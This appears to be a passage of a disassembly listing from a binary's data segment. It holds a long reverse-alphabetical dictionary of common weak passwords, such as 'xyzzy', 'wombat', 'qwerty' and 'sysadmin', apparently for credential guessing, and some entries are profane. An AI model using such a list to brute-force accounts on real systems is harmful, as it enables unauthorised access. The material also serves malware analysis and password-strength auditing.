seg002:004252ACo align 4 aYaco db 'yaco',0 ; DATA XREF: seg002:00424B6Co ; seg002:004252A8o align 10h aXyzzy db 'xyzzy',0 ; DATA XREF: seg002:00424B68o align 4 aXray db 'xray',0 ; DATA XREF: seg002:00424B64o align 10h aXmodem db 'xmodem',0 ; DATA XREF: seg002:00424B60o align 4 aXmen db 'xmen',0 ; DATA XREF: seg002:00424B5Co align 10h aXman db 'xman',0 ; DATA XREF: seg002:00424B58o align 4 aXfer db 'xfer',0 ; DATA XREF: seg002:00424B54o align 10h aXena db 'xena',0 ; DATA XREF: seg002:00424B50o align 4 aWyoming db 'wyoming',0 ; DATA XREF: seg002:00424B4Co aWwii db 'wwii',0 ; DATA XREF: seg002:00424B48o align 4 aWormwood db 'wormwood',0 ; DATA XREF: seg002:00424B44o align 4 aWorm db 'worm',0 ; DATA XREF: seg002:00424B40o align 4 aWork db 'work',0 ; DATA XREF: seg002:00424B3Co align 4 aWorf db 'worf',0 ; DATA XREF: seg002:00424B38o align 4 aWordperf db 'wordperf',0 ; DATA XREF: seg002:00424B34o align 4 aWord db 'word',0 ; DATA XREF: seg002:00424B30o align 10h aWoodwind db 'woodwind',0 ; DATA XREF: seg002:00424B2Co align 4 aWood db 'wood',0 ; DATA XREF: seg002:00424B28o align 4 aWomen db 'women',0 ; DATA XREF: seg002:00424B24o align 4 aWombat db 'wombat',0 ; DATA XREF: seg002:00424B20o align 4 aWoman db 'woman',0 ; DATA XREF: seg002:00424B1Co align 4 aWolverin db 'wolverin',0 ; DATA XREF: seg002:00424B18o align 4 aWolf db 'wolf',0 ; DATA XREF: seg002:00424B14o align 10h aWizard db 'wizard',0 ; DATA XREF: seg002:00424B10o align 4 aWithin db 'within',0 ; DATA XREF: seg002:00424B0Co align 10h aWiseass db 'wiseass',0 ; DATA XREF: seg002:00424B08o aWisconsi db 'wisconsi',0 ; DATA XREF: seg002:00424B04o align 4 aWired db 'wired',0 ; DATA XREF: seg002:00424B00o align 4 aWinston db 'winston',0 ; DATA XREF: seg002:00424AFCo aWing db 'wing',0 ; DATA XREF: seg002:00424AF8o align 4 aWine db 'wine',0 ; DATA XREF: seg002:00424AF4o align 4 aWindows db 'windows',0 ; DATA XREF: seg002:00424AF0o aWilma db 'wilma',0 ; DATA XREF: seg002:00424AECo align 4 aWillie db 'willie',0 ; DATA XREF: seg002:00424AE8o align 4 aWilliams db 'williams',0 ; DATA XREF: seg002:00424AE4o align 4 aWilliam db 'william',0 ; DATA XREF: seg002:00424AE0o aWill db 'will',0 ; DATA XREF: seg002:00424ADCo align 4 aWhore db 'whore',0 ; DATA XREF: seg002:00424AD8o align 10h aWholesal db 'wholesal',0 ; DATA XREF: seg002:00424AD4o align 4 aWhitney db 'whitney',0 ; DATA XREF: seg002:00424AD0o aWhiting db 'whiting',0 ; DATA XREF: seg002:00424ACCo aWhite db 'white',0 ; DATA XREF: seg002:00424AC8o align 4 aWhisky db 'whisky',0 ; DATA XREF: seg002:00424AC4o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: seg002:00424AC0o aWhatever db 'whatever',0 ; DATA XREF: seg002:00424ABCo align 10h aWestern db 'western',0 ; DATA XREF: seg002:00424AB8o aWest db 'west',0 ; DATA XREF: seg002:00424AB4o align 10h aWerewolf db 'werewolf',0 ; DATA XREF: seg002:00424AB0o align 4 aWendy db 'wendy',0 ; DATA XREF: seg002:00424AACo align 4 aWendi db 'wendi',0 ; DATA XREF: seg002:00424AA8o align 4 aWell db 'well',0 ; DATA XREF: seg002:00424AA4o align 4 aWeenie db 'weenie',0 ; DATA XREF: seg002:00424AA0o align 4 aWeed db 'weed',0 ; DATA XREF: seg002:00424A9Co align 4 aWednesda db 'wednesda',0 ; DATA XREF: seg002:00424A98o align 10h aWebpage db 'webpage',0 ; DATA XREF: seg002:00424A94o aWave db 'wave',0 ; DATA XREF: seg002:00424A90o align 10h aWater db 'water',0 ; DATA XREF: seg002:00424A8Co align 4 aWatchwor db 'watchwor',0 ; DATA XREF: seg002:00424A88o align 4 aWasp db 'wasp',0 ; DATA XREF: seg002:00424A84o align 4 aWarren db 'warren',0 ; DATA XREF: seg002:00424A80o align 4 aWarp db 'warp',0 ; DATA XREF: seg002:00424A7Co align 4 aWargames db 'wargames',0 ; DATA XREF: seg002:00424A78o align 4 aWarfare db 'warfare',0 ; DATA XREF: seg002:00424A74o aWarez db 'warez',0 ; DATA XREF: seg002:00424A70o align 4 aWard db 'ward',0 ; DATA XREF: seg002:00424A6Co align 10h aWaco db 'waco',0 ; DATA XREF: seg002:00424A68o align 4 aVodka db 'vodka',0 ; DATA XREF: seg002:00424A64o align 10h aVisualba db 'visualba',0 ; DATA XREF: seg002:00424A60o align 4 aVisual db 'visual',0 ; DATA XREF: seg002:00424A5Co align 4 aVisitor db 'visitor',0 ; DATA XREF: seg002:00424A58o aVirus db 'virus',0 ; DATA XREF: seg002:00424A54o align 4 aVirginia db 'virginia',0 ; DATA XREF: seg002:00424A50o align 10h aVirgin db 'virgin',0 ; DATA XREF: seg002:00424A4Co align 4 aVillage db 'village',0 ; DATA XREF: seg002:00424A48o aVideogam db 'videogam',0 ; DATA XREF: seg002:00424A44o align 4 aVideo db 'video',0 ; DATA XREF: seg002:00424A40o align 4 aVictor db 'victor',0 ; DATA XREF: seg002:00424A3Co align 4 aVicky db 'vicky',0 ; DATA XREF: seg002:00424A38o align 4 aVertigo db 'vertigo',0 ; DATA XREF: seg002:00424A34o aVeronica db 'veronica',0 ; DATA XREF: seg002:00424A30o align 4 aVenus db 'venus',0 ; DATA XREF: seg002:00424A2Co align 10h aVasant db 'vasant',0 ; DATA XREF: seg002:00424A28o align 4 aVampire db 'vampire',0 ; DATA XREF: seg002:00424A24o aValerie db 'valerie',0 ; DATA XREF: seg002:00424A20o aVagina db 'vagina',0 ; DATA XREF: seg002:00424A1Co align 10h aUucp db 'uucp',0 ; DATA XREF: seg002:00424A18o align 4 aUtility db 'utility',0 ; DATA XREF: seg002:00424A14o aUtil db 'util',0 ; DATA XREF: seg002:00424A10o align 4 aUsmc db 'usmc',0 ; DATA XREF: seg002:00424A0Co align 10h aUsername db 'username',0 ; DATA XREF: seg002:00424A08o align 4 aUsermane db 'usermane',0 ; DATA XREF: seg002:00424A04o align 4 aUsenet db 'usenet',0 ; DATA XREF: seg002:00424A00o align 10h aUrsula db 'ursula',0 ; DATA XREF: seg002:004249FCo align 4 aUrchin db 'urchin',0 ; DATA XREF: seg002:004249F8o align 10h aUranus db 'uranus',0 ; DATA XREF: seg002:004249F4o align 4 aUpload db 'upload',0 ; DATA XREF: seg002:004249F0o align 10h aUnlock db 'unlock',0 ; DATA XREF: seg002:004249ECo align 4 aUnknown_0 db 'unknown',0 ; DATA XREF: seg002:004249E8o aUniversi db 'universi',0 ; DATA XREF: seg002:004249E4o align 4 aUniverse db 'universe',0 ; DATA XREF: seg002:004249E0o align 4 aUniversa db 'universa',0 ; DATA XREF: seg002:004249DCo align 4 aUniform db 'uniform',0 ; DATA XREF: seg002:004249D8o aUnicorn db 'unicorn',0 ; DATA XREF: seg002:004249D4o aUnhappy db 'unhappy',0 ; DATA XREF: seg002:004249D0o aUndo db 'undo',0 ; DATA XREF: seg002:004249CCo align 4 aUncle db 'uncle',0 ; DATA XREF: seg002:004249C8o align 4 aUmesh db 'umesh',0 ; DATA XREF: seg002:004249C4o align 4 aUgly db 'ugly',0 ; DATA XREF: seg002:004249C0o align 4 aTuttle db 'tuttle',0 ; DATA XREF: seg002:004249BCo align 4 aTurn db 'turn',0 ; DATA XREF: seg002:004249B8o align 4 aTuesday db 'tuesday',0 ; DATA XREF: seg002:004249B4o aTubas db 'tubas',0 ; DATA XREF: seg002:004249B0o align 4 aTruth db 'truth',0 ; DATA XREF: seg002:004249ACo align 4 aTrue db 'true',0 ; DATA XREF: seg002:004249A8o align 4 aTron db 'tron',0 ; DATA XREF: seg002:004249A4o align 4 aTrombone db 'trombone',0 ; DATA XREF: seg002:004249A0o align 10h aTrojan db 'trojan',0 ; DATA XREF: seg002:0042499Co align 4 aTrivial db 'trivial',0 ; DATA XREF: seg002:00424998o aTrisha db 'trisha',0 ; DATA XREF: seg002:00424994o align 4 aTrek db 'trek',0 ; DATA XREF: seg002:00424990o align 10h aTree db 'tree',0 ; DATA XREF: seg002:0042498Co align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: seg002:00424988o align 4 aTrap db 'trap',0 ; DATA XREF: seg002:00424984o align 4 aTransfer db 'transfer',0 ; DATA XREF: seg002:00424980o align 4 aTrails db 'trails',0 ; DATA XREF: seg002:0042497Co align 10h aTracy db 'tracy',0 ; DATA XREF: seg002:00424978o align 4 aTracie db 'tracie',0 ; DATA XREF: seg002:00424974o align 10h aTraci db 'traci',0 ; DATA XREF: seg002:00424970o align 4 aToyota db 'toyota',0 ; DATA XREF: seg002:0042496Co ; seg002:0042527Co align 10h aToxic db 'toxic',0 ; DATA XREF: seg002:00424968o align 4 aTortoise db 'tortoise',0 ; DATA XREF: seg002:00424964o align 4 aTopograp db 'topograp',0 ; DATA XREF: seg002:00424960o align 10h aTomato db 'tomato',0 ; DATA XREF: seg002:0042495Co align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: seg002:00424958o align 4 aToken db 'token',0 ; DATA XREF: seg002:00424954o align 4 aToggle db 'toggle',0 ; DATA XREF: seg002:00424950o align 4 aToad db 'toad',0 ; DATA XREF: seg002:0042494Co align 4 aTits db 'tits',0 ; DATA XREF: seg002:00424948o align 4 aTina db 'tina',0 ; DATA XREF: seg002:00424944o align 4 aTime db 'time',0 ; DATA XREF: seg002:00424940o align 4 aTiger db 'tiger',0 ; DATA XREF: seg002:0042493Co ; seg002:00425270o align 4 aTiffany db 'tiffany',0 ; DATA XREF: seg002:00424938o aThursday db 'thursday',0 ; DATA XREF: seg002:00424934o align 10h aThin db 'thin',0 ; DATA XREF: seg002:00424930o align 4 aTheresa db 'theresa',0 ; DATA XREF: seg002:0042492Co aThailand db 'thailand',0 ; DATA XREF: seg002:00424928o align 4 aText db 'text',0 ; DATA XREF: seg002:00424924o align 4 aTetris db 'tetris',0 ; DATA XREF: seg002:00424920o align 4 aTess db 'tess',0 ; DATA XREF: seg002:0042491Co align 4 aTerminat db 'terminat',0 ; DATA XREF: seg002:00424918o align 10h aTerminal db 'terminal',0 ; DATA XREF: seg002:00424914o align 4 aTera db 'tera',0 ; DATA XREF: seg002:00424910o align 4 aTennis db 'tennis',0 ; DATA XREF: seg002:0042490Co align 4 aTemptati db 'temptati',0 ; DATA XREF: seg002:00424908o align 4 aTelnet db 'telnet',0 ; DATA XREF: seg002:00424904o align 10h aTelephon db 'telephon',0 ; DATA XREF: seg002:00424900o align 4 aTeenage db 'teenage',0 ; DATA XREF: seg002:004248FCo aTeen db 'teen',0 ; DATA XREF: seg002:004248F8o align 4 aTech db 'tech',0 ; DATA XREF: seg002:004248F4o align 4 aTears db 'tears',0 ; DATA XREF: seg002:004248F0o align 4 aTeapot db 'teapot',0 ; DATA XREF: seg002:004248ECo align 4 aTeam db 'team',0 ; DATA XREF: seg002:004248E8o align 4 aTaylor db 'taylor',0 ; DATA XREF: seg002:004248E0o align 4 aTarragon db 'tarragon',0 ; DATA XREF: seg002:004248DCo align 10h aTarget db 'target',0 ; DATA XREF: seg002:004248D8o align 4 aTara db 'tara',0 ; DATA XREF: seg002:004248D4o align 10h aTape db 'tape',0 ; DATA XREF: seg002:004248D0o align 4 aTango db 'tango',0 ; DATA XREF: seg002:004248CCo align 10h aTangerin db 'tangerin',0 ; DATA XREF: seg002:004248C8o align 4 aTammy db 'tammy',0 ; DATA XREF: seg002:004248C4o align 4 aTamie db 'tamie',0 ; DATA XREF: seg002:004248C0o align 4 aTami db 'tami',0 ; DATA XREF: seg002:004248BCo align 4 aTamara db 'tamara',0 ; DATA XREF: seg002:004248B8o align 4 aTall db 'tall',0 ; DATA XREF: seg002:004248B4o align 4 aTalk db 'talk',0 ; DATA XREF: seg002:004248B0o align 4 aTabasco db 'tabasco',0 ; DATA XREF: seg002:004248ACo aSysop db 'sysop',0 ; DATA XREF: seg002:004248A8o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: seg002:004248A4o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: seg002:004248A0o align 4 aSybil db 'sybil',0 ; DATA XREF: seg002:0042489Co align 4 aSword db 'sword',0 ; DATA XREF: seg002:00424898o align 4 aSwitch db 'switch',0 ; DATA XREF: seg002:00424894o align 4 aSweat db 'sweat',0 ; DATA XREF: seg002:00424890o align 4 aSwearer db 'swearer',0 ; DATA XREF: seg002:0042488Co aSuzie db 'suzie',0 ; DATA XREF: seg002:00424888o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: seg002:00424884o aSusie db 'susie',0 ; DATA XREF: seg002:00424880o align 4 aSusanne db 'susanne',0 ; DATA XREF: seg002:0042487Co aSusan db 'susan',0 ; DATA XREF: seg002:00424878o align 4 aSurfing db 'surfing',0 ; DATA XREF: seg002:00424874o aSurfer db 'surfer',0 ; DATA XREF: seg002:00424870o align 4 aSupporte db 'supporte',0 ; DATA XREF: seg002:0042486Co align 10h aSupport db 'support',0 ; DATA XREF: seg002:00424868o aSupervis db 'supervis',0 ; DATA XREF: seg002:00424864o align 4 aSuperuse db 'superuse',0 ; DATA XREF: seg002:00424860o align 10h aSupersta db 'supersta',0 ; DATA XREF: seg002:0042485Co align 4 aSuperson db 'superson',0 ; DATA XREF: seg002:00424858o align 4 aSuperman db 'superman',0 ; DATA XREF: seg002:00424854o align 4 aSunday db 'sunday',0 ; DATA XREF: seg002:00424850o align 4 aSummer db 'summer',0 ; DATA XREF: seg002:0042484Co align 4 aSucks db 'sucks',0 ; DATA XREF: seg002:00424848o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: seg002:00424844o align 4 aSuck db 'suck',0 ; DATA XREF: seg002:00424840o align 10h aSuccess db 'success',0 ; DATA XREF: seg002:0042483Co aSubway db 'subway',0 ; DATA XREF: seg002:00424838o align 10h aSubscrib db 'subscrib',0 ; DATA XREF: seg002:00424834o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: seg002:00424830o align 4 aStrip db 'strip',0 ; DATA XREF: seg002:00424828o align 10h aString db 'string',0 ; DATA XREF: seg002:00424824o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: seg002:00424820o align 4 aStratfor db 'stratfor',0 ; DATA XREF: seg002:0042481Co align 10h aStrangle db 'strangle',0 ; DATA XREF: seg002:00424818o align 4 aStrange db 'strange',0 ; DATA XREF: seg002:00424814o aStones db 'stones',0 ; DATA XREF: seg002:00424810o align 4 aStoned db 'stoned',0 ; DATA XREF: seg002:0042480Co align 4 aStoneage db 'stoneage',0 ; DATA XREF: seg002:00424808o align 10h aSteve db 'steve',0 ; DATA XREF: seg002:00424804o align 4 aStereo db 'stereo',0 ; DATA XREF: seg002:00424800o align 10h aStephani db 'stephani',0 ; DATA XREF: seg002:004247FCo align 4 aSteph db 'steph',0 ; DATA XREF: seg002:004247F8o align 4 aSteel db 'steel',0 ; DATA XREF: seg002:004247F4o align 4 aSteal db 'steal',0 ; DATA XREF: seg002:004247F0o align 4 aSteak db 'steak',0 ; DATA XREF: seg002:004247ECo align 4 aStarwars db 'starwars',0 ; DATA XREF: seg002:004247E8o align 4 aStartup db 'startup',0 ; DATA XREF: seg002:004247E4o aStartrek db 'startrek',0 ; DATA XREF: seg002:004247E0o align 4 aStart db 'start',0 ; DATA XREF: seg000:0040AA68o ; seg002:004247DCo align 4 aStarship db 'starship',0 ; DATA XREF: seg002:004247D8o align 10h aStar db 'star',0 ; DATA XREF: seg002:004247D4o align 4 aStacy db 'stacy',0 ; DATA XREF: seg002:004247D0o align 10h aStacie db 'stacie',0 ; DATA XREF: seg002:004247CCo align 4 aStaci db 'staci',0 ; DATA XREF: seg002:004247C8o align 10h aStacey db 'stacey',0 ; DATA XREF: seg002:004247C4o align 4 aSr71 db 'sr71',0 ; DATA XREF: seg002:004247C0o align 10h aSquires db 'squires',0 ; DATA XREF: seg002:004247BCo aSpunk db 'spunk',0 ; DATA XREF: seg002:004247B8o align 10h aSpringer db 'springer',0 ; DATA XREF: seg002:004247B4o align 4 aSpring db 'spring',0 ; DATA XREF: seg002:004247B0o align 4 aSpred db 'spred',0 ; DATA XREF: seg002:004247ACo align 4 aSpit db 'spit',0 ; DATA XREF: seg002:004247A8o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: seg002:004247A4o align 10h aSpider db 'spider',0 ; DATA XREF: seg002:004247A0o align 4 aSpice db 'spice',0 ; DATA XREF: seg002:0042479Co align 10h aSpell db 'spell',0 ; DATA XREF: seg002:00424798o align 4 aSpear db 'spear',0 ; DATA XREF: seg002:00424794o align 10h aSparrows db 'sparrows',0 ; DATA XREF: seg002:00424790o align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: seg002:0042478Co align 4 aSouth db 'south',0 ; DATA XREF: seg002:00424788o align 10h aSource db 'source',0 ; DATA XREF: seg002:00424784o align 4 aSossina db 'sossina',0 ; DATA XREF: seg002:00424780o aSonya db 'sonya',0 ; DATA XREF: seg002:0042477Co align 4 aSonic db 'sonic',0 ; DATA XREF: seg002:00424778o align 10h aSonia db 'sonia',0 ; DATA XREF: seg002:00424774o align 4 aSondra db 'sondra',0 ; DATA XREF: seg002:00424770o align 10h aSomebody db 'somebody',0 ; DATA XREF: seg002:0042476Co align 4 aSoftware db 'software',0 ; DATA XREF: seg002:00424768o align 4 aSoft db 'soft',0 ; DATA XREF: seg002:00424764o align 10h aSodomy db 'sodomy',0 ; DATA XREF: seg002:00424760o align 4 aSocrates db 'socrates',0 ; DATA XREF: seg002:0042475Co align 4 aSocial db 'social',0 ; DATA XREF: seg002:00424758o align 4 aSoap db 'soap',0 ; DATA XREF: seg002:00424754o align 4 aSnoopy db 'snoopy',0 ; DATA XREF: seg002:00424750o align 4 aSnatch db 'snatch',0 ; DATA XREF: seg002:0042474Co align 4 aSnake db 'snake',0 ; DATA XREF: seg002:00424748o align 4 aSnafu db 'snafu',0 ; DATA XREF: seg002:00424744o align 4 aSnach db 'snach',0 ; DATA XREF: seg002:00424740o align 4 aSmut db 'smut',0 ; DATA XREF: seg002:0042473Co align 4 aSmtp db 'smtp',0 ; DATA XREF: seg002:00424738o align 4 aSmother db 'smother',0 ; DATA XREF: seg002:00424734o aSmooch db 'smooch',0 ; DATA XREF: seg002:00424730o align 4 aSmiles db 'smiles',0 ; DATA XREF: seg002:0042472Co align 4 aSmile db 'smile',0 ; DATA XREF: seg002:00424728o align 4 aSmart db 'smart',0 ; DATA XREF: seg002:00424724o align 4 aSmall db 'small',0 ; DATA XREF: seg002:00424720o align 4 aSlut db 'slut',0 ; DATA XREF: seg002:0042471Co align 4 aSlow db 'slow',0 ; DATA XREF: seg002:00424718o align 4 aSliders db 'sliders',0 ; DATA XREF: seg002:00424714o aSlick db 'slick',0 ; DATA XREF: seg002:00424710o align 4 aSlave db 'slave',0 ; DATA XREF: seg002:0042470Co align 4 aSkull db 'skull',0 ; DATA XREF: seg002:00424708o align 4 aSite db 'site',0 ; DATA XREF: seg002:00424704o align 4 aSingle db 'single',0 ; DATA XREF: seg002:00424700o align 4 aSinger db 'singer',0 ; DATA XREF: seg002:004246FCo align 4 aSimulati db 'simulati',0 ; DATA XREF: seg002:004246F8o align 10h aSimpsons db 'simpsons',0 ; DATA XREF: seg002:004246F4o align 4 aSimple db 'simple',0 ; DATA XREF: seg002:004246F0o align 4 aSimon db 'simon',0 ; DATA XREF: seg002:004246ECo align 4 aSimcity db 'simcity',0 ; DATA XREF: seg002:004246E8o aSilver db 'silver',0 ; DATA XREF: seg002:004246E4o align 4 aSignatur db 'signatur',0 ; DATA XREF: seg002:004246E0o align 4 aSierra db 'sierra',0 ; DATA XREF: seg002:004246DCo align 10h aSick db 'sick',0 ; DATA XREF: seg002:004246D8o align 4 aShuttle db 'shuttle',0 ; DATA XREF: seg002:004246D4o aShort db 'short',0 ; DATA XREF: seg002:004246D0o align 4 aShivers db 'shivers',0 ; DATA XREF: seg002:004246CCo aShiva db 'shiva',0 ; DATA XREF: seg002:004246C8o align 4 aShitpot db 'shitpot',0 ; DATA XREF: seg002:004246C4o aShit db 'shit',0 ; DATA XREF: seg002:004246C0o align 4 aShirley db 'shirley',0 ; DATA XREF: seg002:004246BCo aShift db 'shift',0 ; DATA XREF: seg002:004246B8o align 4 aSherri db 'sherri',0 ; DATA XREF: seg002:004246B4o align 10h aShell db 'shell',0 ; DATA XREF: seg002:004246B0o align 4 aSheldon db 'sheldon',0 ; DATA XREF: seg002:004246ACo aSheffiel db 'sheffiel',0 ; DATA XREF: seg002:004246A8o align 4 aSharon db 'sharon',0 ; DATA XREF: seg002:004246A4o align 4 aSharks db 'sharks',0 ; DATA XREF: seg002:004246A0o align 4 aShark db 'shark',0 ; DATA XREF: seg002:0042469Co align 4 aSharc db 'sharc',0 ; DATA XREF: seg002:00424698o align 4 aShannon db 'shannon',0 ; DATA XREF: seg002:00424694o aSexy db 'sexy',0 ; DATA XREF: seg002:00424690o align 4 aSesame db 'sesame',0 ; DATA XREF: seg002:0042468Co align 4 aService db 'service',0 ; DATA XREF: seg002:00424688o ; seg002:00425250o aSerial db 'serial',0 ; DATA XREF: seg002:00424684o align 4 aSerenity db 'serenity',0 ; DATA XREF: seg002:00424680o align 10h aSentry db 'sentry',0 ; DATA XREF: seg002:0042467Co align 4 aSentinel db 'sentinel',0 ; DATA XREF: seg002:00424678o align 4 aSensor db 'sensor',0 ; DATA XREF: seg002:00424674o align 4 aSega db 'sega',0 ; DATA XREF: seg002:00424670o align 4 aSeed db 'seed',0 ; DATA XREF: seg002:0042466Co align 4 aSecurity db 'security',0 ; DATA XREF: seg002:00424668o align 4 aSearch db 'search',0 ; DATA XREF: seg002:00424664o align 10h aScout db 'scout',0 ; DATA XREF: seg002:00424660o align 4 aScotty db 'scotty',0 ; DATA XREF: seg002:0042465Co align 10h aScott db 'scott',0 ; DATA XREF: seg002:00424658o align 4 aScorpion db 'scorpion',0 ; DATA XREF: seg002:00424654o align 4 aScifi db 'scifi',0 ; DATA XREF: seg002:00424650o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg002:0042464Co aSchool db 'school',0 ; DATA XREF: seg002:00424648o align 10h aScheme db 'scheme',0 ; DATA XREF: seg002:00424644o align 4 aScamper db 'scamper',0 ; DATA XREF: seg002:00424640o aSaxon db 'saxon',0 ; DATA XREF: seg002:0042463Co align 4 aSaturn db 'saturn',0 ; DATA XREF: seg002:00424638o align 10h aSaturday db 'saturday',0 ; DATA XREF: seg002:00424634o align 4 aSarah db 'sarah',0 ; DATA XREF: seg002:00424630o align 4 aSara db 'sara',0 ; DATA XREF: seg002:0042462Co align 4 aSandy db 'sandy',0 ; DATA XREF: seg002:00424628o align 4 aSandra db 'sandra',0 ; DATA XREF: seg002:00424624o align 4 aSample db 'sample',0 ; DATA XREF: seg002:00424620o align 4 aSamantha db 'samantha',0 ; DATA XREF: seg002:0042461Co align 10h aSalt db 'salt',0 ; DATA XREF: seg002:00424618o align 4 aSale db 'sale',0 ; DATA XREF: seg002:00424614o align 10h aSalami db 'salami',0 ; DATA XREF: seg002:00424610o align 4 aSafe db 'safe',0 ; DATA XREF: seg002:0042460Co align 10h aRuth db 'ruth',0 ; DATA XREF: seg002:00424608o align 4 aRush db 'rush',0 ; DATA XREF: seg002:00424604o align 10h aRunning db 'running',0 ; DATA XREF: seg002:00424600o aRules db 'rules',0 ; DATA XREF: seg002:004245FCo align 10h aRude db 'rude',0 ; DATA XREF: seg002:004245F8o align 4 aRuby db 'ruby',0 ; DATA XREF: seg002:004245F4o align 10h aRuben db 'ruben',0 ; DATA XREF: seg002:004245F0o align 4 aRubber db 'rubber',0 ; DATA XREF: seg002:004245ECo align 10h aRough db 'rough',0 ; DATA XREF: seg002:004245E8o align 4 aRoses db 'roses',0 ; DATA XREF: seg002:004245E4o align 10h aRosemary db 'rosemary',0 ; DATA XREF: seg002:004245E0o align 4 aRosebud db 'rosebud',0 ; DATA XREF: seg002:004245DCo aRose db 'rose',0 ; DATA XREF: seg002:004245D8o align 4 aRonald db 'ronald',0 ; DATA XREF: seg002:004245D4o align 4 aRomulan db 'romulan',0 ; DATA XREF: seg002:004245D0o aRomeo db 'romeo',0 ; DATA XREF: seg002:004245CCo align 4 aRomano db 'romano',0 ; DATA XREF: seg002:004245C8o align 4 aRolex db 'rolex',0 ; DATA XREF: seg002:004245C4o align 4 aRodent db 'rodent',0 ; DATA XREF: seg002:004245C0o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: seg002:004245BCo align 4 aRocky db 'rocky',0 ; DATA XREF: seg002:004245B8o align 10h aRock db 'rock',0 ; DATA XREF: seg002:004245B4o align 4 aRocheste db 'rocheste',0 ; DATA XREF: seg002:004245B0o align 4 aRochelle db 'rochelle',0 ; DATA XREF: seg002:004245ACo align 10h aRobyn db 'robyn',0 ; DATA XREF: seg002:004245A8o align 4 aRobotics db 'robotics',0 ; DATA XREF: seg002:004245A4o align 4 aRobot db 'robot',0 ; DATA XREF: seg002:004245A0o align 4 aRobin db 'robin',0 ; DATA XREF: seg002:0042459Co align 4 aRobert db 'robert',0 ; DATA XREF: seg002:00424598o align 4 aRoach db 'roach',0 ; DATA XREF: seg002:00424594o align 4 aRisc db 'risc',0 ; DATA XREF: seg002:00424590o align 4 aRipple db 'ripple',0 ; DATA XREF: seg002:0042458Co align 4 aRiot db 'riot',0 ; DATA XREF: seg002:00424588o align 4 aRing db 'ring',0 ; DATA XREF: seg002:00424584o align 4 aRightwin db 'rightwin',0 ; DATA XREF: seg002:00424580o align 10h aRight db 'right',0 ; DATA XREF: seg002:0042457Co align 4 aRiffraff db 'riffraff',0 ; DATA XREF: seg002:00424578o align 4 aRick db 'rick',0 ; DATA XREF: seg002:00424574o align 4 aRich db 'rich',0 ; DATA XREF: seg002:00424570o align 4 aRhino db 'rhino',0 ; DATA XREF: seg002:0042456Co align 4 aReveal db 'reveal',0 ; DATA XREF: seg002:00424568o align 4 aResistan db 'resistan',0 ; DATA XREF: seg002:00424564o align 10h aRepublic db 'republic',0 ; DATA XREF: seg002:00424560o align 4 aReport db 'report',0 ; DATA XREF: seg002:0042455Co align 4 aRent db 'rent',0 ; DATA XREF: seg002:00424558o align 4 aReno db 'reno',0 ; DATA XREF: seg002:00424554o align 4 aRenee db 'renee',0 ; DATA XREF: seg002:00424550o align 4 aRemote db 'remote',0 ; DATA XREF: seg002:0042454Co align 4 aRelease db 'release',0 ; DATA XREF: seg002:00424548o aRegional db 'regional',0 ; DATA XREF: seg002:00424544o align 4 aReferenc db 'referenc',0 ; DATA XREF: seg002:00424540o align 4 aRedhead db 'redhead',0 ; DATA XREF: seg002:0042453Co aReddawn db 'reddawn',0 ; DATA XREF: seg002:00424538o aRecord db 'record',0 ; DATA XREF: seg002:00424534o align 4 aRebel db 'rebel',0 ; DATA XREF: seg002:00424530o align 4 aRebecca db 'rebecca',0 ; DATA XREF: seg002:0042452Co aRebal db 'rebal',0 ; DATA XREF: seg002:00424528o align 4 aReaper db 'reaper',0 ; DATA XREF: seg002:00424524o align 4 aReam db 'ream',0 ; DATA XREF: seg002:00424520o align 4 aReally db 'really',0 ; DATA XREF: seg002:0042451Co align 4 aReality db 'reality',0 ; DATA XREF: seg002:00424518o aReagan db 'reagan',0 ; DATA XREF: seg002:00424514o align 4 aRazor db 'razor',0 ; DATA XREF: seg002:00424510o align 4 aRascal db 'rascal',0 ; DATA XREF: seg002:0042450Co align 4 aRape db 'rape',0 ; DATA XREF: seg002:00424508o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: seg002:00424500o aRaindrop db 'raindrop',0 ; DATA XREF: seg002:004244FCo align 4 aRainbow db 'rainbow',0 ; DATA XREF: seg002:004244F8o aRain db 'rain',0 ; DATA XREF: seg002:004244F4o align 4 aRaid db 'raid',0 ; DATA XREF: seg002:004244F0o align 10h aRachmani db 'rachmani',0 ; DATA XREF: seg002:004244ECo align 4 aRachelle db 'rachelle',0 ; DATA XREF: seg002:004244E8o align 4 aRachel db 'rachel',0 ; DATA XREF: seg002:004244E4o align 10h aRabbit db 'rabbit',0 ; DATA XREF: seg002:004244E0o align 4 aQwerty db 'qwerty',0 ; DATA XREF: seg002:004244DCo ; seg002:00425234o align 10h aQwert db 'qwert',0 ; DATA XREF: seg002:004244D8o ; seg002:00425230o align 4 aQuebec db 'quebec',0 ; DATA XREF: seg002:004244D4o align 10h aPussy db 'pussy',0 ; DATA XREF: seg002:004244D0o align 4 aPuppet db 'puppet',0 ; DATA XREF: seg002:004244CCo align 10h aPunk db 'punk',0 ; DATA XREF: seg002:004244C8o align 4 aPunisher db 'punisher',0 ; DATA XREF: seg002:004244C4o align 4 aPuneet db 'puneet',0 ; DATA XREF: seg002:004244C0o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: seg002:004244BCo aPuke db 'puke',0 ; DATA XREF: seg002:004244B8o align 4 aPuck db 'puck',0 ; DATA XREF: seg002:004244B4o align 4 aPublic db 'public',0 ; DATA XREF: seg002:004244B0o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: seg002:004244ACo align 4 aPsycho db 'psycho',0 ; DATA XREF: seg002:004244A8o align 10h aProtozoa db 'protozoa',0 ; DATA XREF: seg002:004244A4o align 4 aProtect db 'protect',0 ; DATA XREF: seg002:004244A0o aPrompt db 'prompt',0 ; DATA XREF: seg002:0042449Co align 4 aProgram db 'program',0 ; DATA XREF: seg002:00424498o aProfile db 'profile',0 ; DATA XREF: seg002:00424494o aProfesso db 'professo',0 ; DATA XREF: seg002:00424490o align 4 aProcesso db 'processo',0 ; DATA XREF: 